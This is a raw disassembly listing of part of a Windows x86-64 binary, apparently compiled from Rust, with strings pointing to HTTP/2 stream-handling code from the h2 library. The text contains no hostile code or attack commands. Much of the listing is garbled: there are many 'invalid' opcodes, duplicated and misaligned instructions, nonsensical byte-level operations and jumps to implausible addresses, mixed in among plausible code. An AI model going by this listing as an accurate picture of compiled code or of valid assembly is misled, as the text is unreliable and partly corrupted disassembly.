mov rcx, qword [rsp + 0x78]
mov rdx, r13
mov r13, qword [rsp + 0x48]
mov r8, r15
call fcn.140025290
mov byte [rsp + 0x80], 3
jmp 0x1400a6eff
add dl, 0xfa
movzx r8d, dl
cmp r8b, 6
mov edx, 6
cmovb edx, r8d
mov bl, 1
mov dword [rsp + 0x58], 1
lea r8, [0x1401157d0]
mov qword [rsp + 0x40], r8
cmp dl, 4
je 0x1400a6512
movzx edx, dl
cmp edx, 3
jne 0x1400a651c
cmp ebp, dword [rdi + 0x100]
jbe 0x1400a6389
mov bl, 3
jmp 0x1400a6e07
mov byte [rcx + 8], 1
mov qword [rcx + 9], rax
jmp case.0x1400a4d60.2
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x280], xmm0
mov sil, 1
mov r13d, 1
lea r12, [0x14013db38]
mov ebx, 1
mov bpl, 1
jmp 0x1400a6fe3
mov ecx, dword [rdi + 0x110]
add ecx, r12d
mov esi, 3
jo 0x1400a6609
mov r15d, dword [rsp + 0x618]
mov ebp, dword [rsp + 0x61c]
mov dword [rsp + 0xe8], r15d
mov dword [rsp + 0xec], ebp
cmp qword [rax + 0x10], r15
jbe 0x1400a7a28
mov rdx, qword [rax + 8]
imul rax, r15, 0x130
cmp dword [rdx + rax], 2
je 0x1400a7a28
add rdx, rax
cmp dword [rdx + 0x114], ebp
jne 0x1400a7a28
add rdx, 0x50
lea rcx, [rsp + 0x3c0]
call fcn.140026300
movzx r13d, byte [rsp + 0x3c0]
movzx ebx, byte [rsp + 0x3c1]
cmp r13b, 3
jne 0x1400a646f
test bl, bl
je 0x1400a6217
cmp byte [rdi + 0x104], 0
je 0x1400a70a1
lea rbx, [rdi + 8]
lea rdx, [rdi + 0x68]
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x40], rdx
mov r8d, r12d
xor r9d, r9d
call fcn.140021df0
movzx r13d, byte [rsp + 0x110]
cmp r13b, 3
jne 0x1400a70ca
cmp dword [rsp + 0x114], 0
je 0x1400a5189
mov r9d, dword [rdi + 0xf4]
mov r8d, dword [rdi + 0x174]
lea rcx, [rsp + 0x110]
mov edx, r12d
call fcn.140026dd0
lea r13, [rsp + 0x4f0]
mov rcx, r13
mov rdx, r14
mov r8d, r12d
lea r9, [rsp + 0x110]
call fcn.140026620
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x610], rax
mov qword [rsp + 0x230], rsi
lea rsi, [rsp + 0x110]
lea rdx, [rsp + 0x280]
mov r8d, 0x120
mov rcx, rsi
call fcn.140106250
lea rax, [rsp + 0x250]
mov qword [rsp + 0x238], rax
lea rcx, [rsp + 0x3c0]
mov rdx, rbx
mov r8, r13
mov r9, rsi
call fcn.1400a7cb0
movzx r13d, byte [rsp + 0x3c0]
cmp r13b, 3
jne 0x1400a73de
mov r13b, 3
cmp dword [rsp + 0x3c4], 1
jne 0x1400a6207
movsd xmm6, qword [rsp + 0x3c8]
mov rcx, qword [rdi + 0x1c0]
mov rdx, qword [rdi + 0x1c8]
mov r8d, r15d
mov r9d, ebp
call fcn.140026b20
movups xmm0, xmmword [rax + 0x100]
movaps xmmword [rsp + 0x110], xmm0
mov ecx, dword [rax + 0x110]
mov dword [rsp + 0x120], ecx
mov dword [rax + 0x100], 0
movlps qword [rsp + 0x3c8], xmm6
mov qword [rsp + 0x3c0], r14
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x3c0]
call case.0x140079503.206
mov dword [rsp + 0x3c8], r15d
mov dword [rsp + 0x3cc], ebp
mov qword [rsp + 0x3c0], r14
lea rsi, [rsp + 0x3c0]
mov rcx, rsi
call fcn.140022e90
movdqa xmm0, xmmword [rsp + 0x110]
movdqu xmmword [rax + 0x100], xmm0
mov ecx, dword [rsp + 0x120]
mov dword [rax + 0x110], ecx
mov rcx, rsi
call fcn.140022e90
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400a6207
call qword [rdx + 8]
cmp byte [rsp + 0x60], 0
jne 0x1400a64c8
jmp 0x1400a64b5
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x80], xmm0
mov bl, 1
mov ebp, 1
mov r14d, 1
lea rsi, [0x14013db38]
mov r13b, 1
jmp case.0x140070c13.246
mov rsi, qword [rdx + 0x28]
lea rdx, [rdi + 0x1b8]
lea rcx, [rsp + 0x110]
mov r8d, ebp
call fcn.1400264b0
cmp qword [rsp + 0x110], 0
je 0x1400a65bc
mov rcx, r13
call fcn.1400200a0
mov eax, dword [rax + 0x48]
mov dword [rsp + 0x50], eax
mov rcx, r13
call fcn.140022e90
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0x110]
mov edx, ebp
mov r8d, r15d
mov r9, rax
call fcn.140024e80
movzx ebp, byte [rsp + 0x110]
cmp bpl, 3
mov dword [rsp + 0x58], esi
jne 0x1400a66f6
mov rax, qword [rsp + 0x60]
lea rdx, [rax + 8]
lea r15, [rdi + 0x110]
lea r13, [rsp + 0x3b0]
mov rcx, r15
mov r8, r13
call fcn.14008b6e0
mov rcx, r15
mov rdx, r13
mov r8, r14
call fcn.140021b50
mov rcx, r13
call fcn.1400200a0
cmp byte [rax + 0x50], 6
jae 0x1400a7b1d
jmp 0x1400a6731
cmp byte [rdi + 0x60], 0
setne al
xor al, bl
test al, 1
je 0x1400a65e9
cmp dword [rdi + 0x108], 0
add byte [rax], al
mov eax, ebp
jne 0x1400a526f
invalid
invalid
mov esi, 1
cmp dword [rdi + 0x10c], ebx
add byte [rdi], cl
xchg ebx, ebp
out dx, al
invalid
invalid
add byte [rdi], cl
xchg ebx, ebp
out dx, al
invalid
jmp 0x1400a6609
add al, byte [rax]
add byte [rcx - 0x4a], al
add dword [rsi + 1], edi
add byte [rax], al
mov r14b, 1
mov esi, 1
lea rcx, [0x14013db38]
test ebp, ebp
je 0x1400a6ce5
test byte [rbp + 9], al
add byte [rax], al
test byte [rbp + 9], al
add byte [rax], al
lea rdx, [rdi + 0x68]
test r15b, r15b
setne al
xor al, bpl
test al, 1
je 0x1400a6c8a
cmp dword [rdi + 0x108], 0
jne 0x1400a6c9d
mov eax, 0xa4
jmp 0x1400a6c98
lea rdx, [rcx + 0x11]
movzx r8d, byte [rsp + 0x288]
mov byte [rdx + 8], r8b
mov r8, qword [rsp + 0x280]
mov qword [rdx], r8
mov dword [rdx], eax
mov dword [rdx], eax
mov rdx, qword [rcx]
test rdx, rdx
je case.0x1400a4d60.2
or al, 0
invalid
or al, 0
add byte [rax - 0x47], cl
cmp edi, dword [rbx + rbx*8 + 0x7a]
or eax, dword [rdi + 0x3948b416]
xchg dword [rsi], edx
mov ah, 0x48
cmp rax, rcx
jne case.0x1400a4d60.2
mov ecx, 3
movabs rcx, 0xb416870b7adb7c3b
xchg dword [rsi], edx
mov ah, 0x48
cmp rax, rcx
cmp rax, rcx
jne case.0x1400a4d60.2
mov ecx, 3
add byte [rax], al
add byte [rax + 2], bh
mov eax, 2
lock cmpxchg qword [rdx + 0x10], rcx
cmpxchg dword [rdx + 0x10], ecx
jne case.0x1400a4d60.2
mov rax, qword [rdx + 0x40]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x40], rcx
jne 0x1400a6430
add byte [rax], al
mov rax, qword [rdx + 0x30]
mov rcx, qword [rdx + 0x38]
cmp byte [rax - 0x39], cl
xor byte [rax], al
add byte [rax], al
invalid
cmp byte [rax - 0x39], cl
xor byte [rax], al
add byte [rax], al
add al, dh
and qword [rdx + 0x40], 0xfffffffffffffffd
invalid
std
mov dword [rdx + 0x30], 0
lock and qword [rdx + 0x40], 0xfffffffffffffffd
invalid
std
test rax, rax
je case.0x1400a4d60.2
call qword [rax + 8]
jmp case.0x1400a4d60.2
push rax
or cl, ch
test al, 0xb
add byte [rax], al
movzx r15d, word [rsp + 0x3c2]
mov ebp, dword [rsp + 0x3c4]
mov rsi, qword [rsp + 0x3c8]
mov r14, qword [rsp + 0x3d0]
movdqu xmm0, xmmword [rsp + 0x3d8]
add byte [rax], al
add byte [rax], al
movdqa xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x280]
call fcn.1400876a0
adc esi, edi
inc dword [rax + 0x60247c]
adc esi, edi
inc dword [rax + 0x60247c]
jne 0x1400a64c8
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a7190
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a64d9
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
adc eax, 0x6bb5f
adc eax, 0x6bb5f
cmp r13b, 3
je 0x1400a7012
movdqa xmm0, xmmword [rsp + 0x80]
movq mm0, qword [rsp + 0x80]
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x48
mov rax, qword [rsp + 0x48]
movdqu xmmword [rax + 0x20], xmm0
mov byte [rax + 8], r13b
mov byte [rax + 9], bl
mov word [rax + 0xa], r15w
pop rax
or dword [rsi + 0x44], esp
mov dword [rax + 0xa], edi
mov dword [rax + 0xc], ebp
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], r14
jmp 0x1400a706d
cmp byte [rcx + 0x51], 0
jne 0x1400a5dbc
mov r12, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
lea rcx, [rsp + 0x3d8]
lea ecx, [rsp + 0x3d8]
mov rax, qword [rsp + 0x3c0]
mov rdx, qword [rsp + 0x3c8]
add eax, dword [rax]
invalid
rol byte [rbx], 0
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xc8
add eax, dword [rax]
add byte [rbp - 0x77], cl
call 0x1851ab647
test dh, dh
invalid
add byte [rax], al
mov r8, r13
call qword [rax + 0x10]
test r14b, r14b
invalid
div byte [rsi + rbx*2 + 0x44]
sub dword [rdi + 0xf8], ebp
je 0x1400a65aa
sub dword [rdi + 0xf8], r13d
mov eax, dword [rdi + 0xb4]
add eax, r13d
jo 0x1400a6564
mov dword [rdi + 0xb4], eax
cmp qword [rbp], 0
je 0x1400a6648
mov rax, qword [rdi + 0x58]
cmp qword [rdi + 0x10], rax
mov r13, qword [rsp + 0x48]
ja 0x1400a6651
mov esi, 1
xor r15d, r15d
mov r13, qword [rsp + 0x48]
jmp 0x1400a6691
cmp dword [rdi + 0x90], 0
mov eax, ebp
jne 0x1400a526f
mov esi, 1
cmp dword [rdi + 0x94], ebx
ja 0x1400a526f
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x4f0], xmm0
test al, al
jne 0x1400a662d
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a7494
xor eax, eax
xchg byte [r14], al
xor ebp, ebp
mov bl, 1
cmp al, 2
mov r13, qword [rsp + 0x48]
je 0x1400a5299
jmp 0x1400a52a2
mov rax, qword [rdi + 0x58]
mov r13, qword [rsp + 0x48]
insb byte [rdi], dx
and al, 0x48
insb byte [rdi], dx
and al, 0x48
lea r9, [r12 + 8]
inc rax
mov qword [rdi + 0x58], rax
lea rcx, [rdi + 0x108]
add byte [rax - 0x73], cl
xchg dword [rax + 0x48000001], ebp
mov dword [rsp + 0x30], eax
add byte [rax - 0x73], cl
xchg dword [rax + 0x48000001], ebp
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rbp
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0x40]
mov r8b, 1
call fcn.14008b320
mov bl, 3
cmp dword [rsp + 0xd8], 0x3b9aca00
setne r8b
lea rdx, [rsp + 0xc0]
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
jmp 0x1379e0797
xchg ebx, eax
idiv edi
xchg esp, eax
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
jmp 0x1379e0797
xchg ebx, eax
invalid
xchg ebx, eax
idiv edi
cmp byte [rsp + 0x70], 0
jne 0x1400a66ca
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
test eax, eax
test eax, eax
jne 0x1400a72cb
xor eax, eax
xchg byte [r12], al
xchg byte [rsp], al
xchg byte [rsp], al
mov rcx, r12
xor r12d, r12d
mov r14b, 1
mov dh, 1
mov dh, 1
cmp al, 2
jne 0x1400a66e6
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor r12d, r12d
cmp byte [rsp + 0x60], 0
jne 0x1400a6e44
push rbx
invalid
add byte [rax], al
jmp 0x1400a6e31
cmp eax, dword [rdi]
add byte [rax], al
movzx esi, byte [rsp + 0x111]
movzx r15d, word [rsp + 0x112]
add byte [rdi + rcx - 0x49], al
mov esp, 0x11224
add byte [rbx + rcx*4 - 0x54], al
and al, 0x14
mov r13d, dword [rsp + 0x114]
mov r12, qword [rsp + 0x118]
mov rbx, qword [rsp + 0x120]
add bl, dh
movq mm0, qword [rsp + 0x128]
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x18
add dword [rax], eax
add byte [rax - 0x75], cl
pushfq
and al, 0x20
add dword [rax], eax
add bl, dh
movq mm0, qword [rsp + 0x128]
movdqa xmmword [rsp + 0x280], xmm0
mov eax, dword [rsp + 0x50]
cmp eax, 0x3b9aca00
setne r8b
lea rdx, [rsp + 0x3b0]
add eax, dword [rax]
add byte [rcx + rcx*4 - 0xf], cl
call fcn.14001fa50
cmp byte [rsp + 0x58], 0
add byte [rbp + 0x13], dh
add byte [rbp + 0x13], dh
mov rax, qword [0x140182308]
shl rax, 1
shl eax, 1
shl eax, 1
test rax, rax
jne 0x1400a763f
invalid
add byte [rcx], dh
ror byte [rax - 0x75], 0x4c
and al, 0x60
xor eax, eax
mov rcx, qword [rsp + 0x60]
xchg byte [rcx], al
cmp al, 2
add al, byte [rbx + rcx*4 + 0x74]
and al, 0x40
jne 0x1400a6fe3
invalid
add bh, bh
adc eax, 0x6b8b4
invalid
invalid
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
invalid
jmp 0x1400a6fe3
add byte [rax], al
test r13d, r13d
je 0x1400a7106
test byte [rcx + rcx], dh
invalid
test byte [rcx + rcx], dh
add byte [rcx + rbp - 0x16], al
sub edx, r13d
jl 0x1400a7b05
push 0x13
add byte [rax], al
mov dword [rdi + 0xb0], edx
mov edx, dword [rdi + 0xb4]
sub edx, r13d
jno 0x1400a7100
mov rax, qword [rdi + 0x188]
shl rax, 1
test rax, rax
je 0x1400a67e5
mov r8, qword [rdi + 0x190]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x130]
mov qword [rsi + 0x20], rax
movzx eax, word [rsp + 0x110]
movzx ecx, word [rsp + 0x112]
mov edx, dword [rsp + 0x114]
mov r8, qword [rsp + 0x118]
movdqa xmm0, xmmword [rsp + 0x120]
movdqu xmmword [rsi + 0x10], xmm0
mov word [rsi], ax
mov word [rsi + 2], cx
mov dword [rsi + 4], edx
mov qword [rsi + 8], r8
cmp byte [rsp + 0x24c], 0
jne 0x1400a6849
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
mov edx, 0xd148000d
loopne 0x1400a6889
test eax, eax
jne 0x1400a735e
adc eax, 0x3100000b
rol byte [rcx - 0x7a], 6
xor eax, eax
xchg byte [r14], al
mov bl, 3
cmp al, 2
add edi, dword [rdx + rax]
mov rsi, qword [rsp + 0x70]
je 0x1400a555b
jmp 0x1400a5564
in eax, dx
invalid
cmp byte [rax + 0x51], 0
jne case.0x1400a5c66.249
jmp case.0x1400a5c66.250
cmp byte [rax + 0x52], 0
je case.0x1400a5c66.250
test byte [rsp + 0x22c], 1
jne 0x1400a68c7
lea rcx, [rsp + 0xb0]
call fcn.1400200a0
mov eax, dword [rax + 0x114]
mov word [rsp + 0xe8], 0x100
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax], al
add dword [rcx + 0xec2484], ecx
add byte [rax], al
invalid
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rax], al
add dword [rcx + 0xec2484], ecx
add byte [rax], al
invalid
add bh, al
mov dword [rsp + 0xf0], 1
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x110]
invalid
jrcxz 0x1400a68c8
lea rcx, [rsp + 0x110]
call fcn.1400876a0
mov r13, qword [rsp + 0x48]
jmp 0x1400a6f33
invalid
mov rsi, qword [rsp + 0x78]
mov esi, dword [rsp + 0x78]
lea r13, [rsp + 0x3c0]
lea rdx, [rsp + 0x110]
mov r8d, 0x120
mov rcx, r13
call fcn.140106250
lea rcx, [rsp + 0x80]
lea r9, [rsp + 0xb0]
mov rdx, rsi
mov r8, r13
call fcn.1400247c0
jmp 0x1400a6efa
lea rdx, [rsp + 0x298]
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a694b
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x280]
cmp r8, 2
je 0x1400a737b
mov rdx, qword [rsp + 0x298]
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a7375
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x288]
lock dec qword [rax]
je 0x1400a6dac
jmp 0x1400a737b
mov rcx, rdi
call fcn.1401101b0
mov rdx, rsi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a5091
call fcn.140110270
mov rdx, rsi
mov ebx, eax
xor bl, 1
mov qword [rsp + 0x48], r13
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a50a4
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], bl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a6bbb
mov rcx, rdi
call fcn.1401101b0
mov rdx, rsi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a511d
call fcn.140110270
mov rdx, rsi
mov ebx, eax
xor bl, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a512b
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], bl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a6bbb
mov rcx, rdi
mov rsi, rdx
call fcn.1401101b0
mov rdx, rsi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a51be
mov rsi, rdx
call fcn.140110270
mov rdx, rsi
mov esi, eax
xor sil, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a51cc
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], sil
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a6bbb
mov rcx, rdi
mov rsi, rdx
call fcn.1401101b0
mov rdx, rsi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a4db1
mov rsi, rdx
call fcn.140110270
mov rdx, rsi
mov r14d, eax
xor r14b, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a4dc0
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], r14b
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a6bbb
mov rcx, rdi
mov rsi, rdx
call fcn.1401101b0
mov rdx, rsi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a54cc
mov rsi, rdx
call fcn.140110270
mov rdx, rsi
mov ebp, eax
invalid
xor bpl, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a54da
invalid
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], bpl
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
and al, 0x10
add dword [rax], eax
add byte [rax - 0x78], al
lodsb al, byte [rsi]
and al, 0x18
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x97695
jmp 0x1400a6bbb
mov rcx, rdi
mov rsi, rdx
call fcn.1401101b0
mov rdx, rsi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a563a
mov rsi, rdx
call fcn.140110270
mov rdx, rsi
mov r14d, eax
xor r14b, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a5649
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], r14b
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
xor dword [rdx - 0x72b3fff4], 0x9813a0d
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x10
add dword [rax], eax
add byte [rax], al
xor dword [rdx - 0x72b3fff4], 0x9813a0d
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x10
add dword [rax], eax
add byte [rax], al
mov edx, 0x2b
add byte [rax], al
mov edx, 0x2b
call fcn.140108600
mov rcx, r14
call fcn.1401101b0
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a51f2
call fcn.140110270
xor al, 1
mov qword [rsp + 0x48], r13
movzx ecx, byte [r14 + 1]
test cl, cl
je case.0x140095486.72
mov qword [rsp + 0x110], r14
mov byte [rsp + 0x118], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a7a51
mov rcx, r14
mov rsi, rdx
call fcn.1401101b0
mov rdx, rsi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x1400a5500
mov rsi, rdx
call fcn.140110270
mov rdx, rsi
xor al, 1
mov qword [rsp + 0x70], rdx
movzx ecx, byte [r14 + 1]
test cl, cl
je 0x1400a5514
mov qword [rsp + 0x110], r14
adc byte [rcx], al
add byte [rax], al
mov byte [rsp + 0x118], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a7a51
cmp dword [rdi + 0x90], 0
jne 0x1400a6c9d
mov eax, 0x2c
cmp dword [rdx + rax], ebp
jbe 0x1400a6ce5
mov r8, qword [rsp + 0x500]
test r8, 0xffffffff80000000
jne 0x1400a7bc6
lea rcx, [rsp + 0x110]
call fcn.140024de0
movzx ebx, byte [rsp + 0x110]
adc byte [rcx], al
add byte [rax], al
cmp bl, 3
jne 0x1400a6dc6
mov eax, 5
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov dword [rsp + 0x58], ebp
jmp 0x1400a6e07
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x40], rcx
xor r15d, r15d
xor r12d, r12d
mov bl, 1
jmp 0x1400a6e07
cmp r8, 2
mov eax, dword [rsp + 0x40]
je 0x1400a526f
lea rdx, [rsp + 0x298]
add byte [rax], al
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rbp - 0x7b], cl
invalid
je 0x1400a6d44
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rbp - 0x7b], cl
sal byte [rdx + rdx + 0x4c], 0x8b
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x280]
cmp r8, 2
mov eax, dword [rsp + 0x40]
je 0x1400a526f
mov rdx, qword [rsp + 0x298]
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
nop
add al, byte [rax]
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
invalid
invalid
add byte [rax], al
mov word [rax + rcx*4], fs
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rdx*4], ah
nop
nop
add al, byte [rax]
add byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
test dword [0xcb566d84], 0xff491040
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x288]
lock dec qword [rax]
mov eax, dword [rsp + 0x40]
jne 0x1400a526f
mov rcx, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x290]
call fcn.140005050
jmp 0x1400a737b
movzx r14d, byte [rsp + 0x111]
movzx ebp, word [rsp + 0x112]
mov eax, dword [rsp + 0x114]
add byte [rcx + 0x48582444], cl
mov eax, dword [rsp + 0x118]
add byte [rcx + 0x48582444], cl
mov eax, dword [rsp + 0x118]
mov qword [rsp + 0x40], rax
and al, 0x40
mov rsi, qword [rsp + 0x120]
mov r15, qword [rsp + 0x128]
mov r12, qword [rsp + 0x130]
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rcx], fs
add eax, 0x8b480000
test byte [rax + rsi*8], ah
add al, 0
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xf8
add al, 0
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0
add eax, 0x50ff0000
adc byte [rax + 0x60247c], al
jl 0x1400a6e51
invalid
invalid
lea rcx, [rsp + 0x508]
mov rax, qword [rsp + 0x4f0]
mov rdx, qword [rsp + 0x4f8]
mov r8, qword [rsp + 0x500]
call qword [rax + 0x10]
cmp byte [rsp + 0x60], 0
jl 0x1400a6e51
invalid
invalid
jl 0x1400a6e51
invalid
jne 0x1400a6e44
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a71a6
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a6e55
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jrcxz 0x1400a6e04
invalid
cmp bl, 3
je case.0x1400a4d60.2
mov byte [r13 + 8], bl
mov byte [r13 + 9], r14b
mov word [r13 + 0xa], bp
mov eax, dword [rsp + 0x58]
mov dword [r13 + 0xc], eax
mov rax, qword [rsp + 0x40]
mov qword [r13 + 0x10], rax
mov qword [r13 + 0x18], rsi
sbb byte [rbp - 0x77], cl
jge 0x1400a6ea4
sbb byte [rbp - 0x77], cl
jge 0x1400a6ea4
mov qword [r13 + 0x28], r12
mov dword [r13], 1
jmp 0x1400a7025
mov rax, qword [rsp + 0x518]
mov qword [rsp + 0xa0], rax
test byte [rax + riz*4], ah
add byte [rax], al
add bl, dh
movq mm0, qword [rsp + 0x4f8]
test byte [rax + riz*4], ah
add byte [rax], al
add bl, dh
movq mm0, qword [rsp + 0x4f8]
movdqu xmm1, xmmword [rsp + 0x508]
movdqa xmmword [rsp + 0x90], xmm1
add byte [rsi + 0xf], ah
jg 0x1400a6e48
and al, 0x80
add byte [rax], al
add bl, ch
invalid
lea rcx, [rsp + 0xb0]
mov al, 0
add byte [rax], al
call fcn.1400200a0
mov eax, dword [rax + 0x114]
mov word [rsp + 0x80], 0x100
mov dword [rsp + 0x84], eax
mov dword [rsp + 0x88], 7
mov r13, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0xe0]
add byte [rax - 0x73], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0xe8]
lea r9, [rsp + 0xb0]
call fcn.1400a7be0
lodsd eax, dword [rsi]
or al, 0
invalid
lodsd eax, dword [rsi]
or al, 0
add byte [rcx - 0x6535ff03], al
cmp eax, dword [rcx + 0xf]
xchg ebp, eax
ror byte [rax - 0x73], 0x94
xchg esp, eax
cmp ebp, 0x3b9aca00
setne r8b
lea rdx, [rsp + 0xb0]
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
call fcn.14001fa50
test r12b, r12b
in al, 0x75
invalid
in al, 0x75
adc ecx, dword [rax - 0x75]
add eax, 0xdb3af
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a747d
xor eax, eax
xchg byte [r14], al
cmp al, 2
jne 0x1400a6f77
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
jne 0x1400a6f8e
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a71e8
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a6f9f
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0xe8], 3
je case.0x1400a4d60.2
test r14b, r14b
jne 0x1400a6ffb
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a717a
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a700c
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp bpl, 3
jne 0x1400a7041
mov r13, qword [rsp + 0x48]
movabs rax, 0x200000000
add byte [rdx], al
add byte [rax], al
add byte [rcx - 0x77], cl
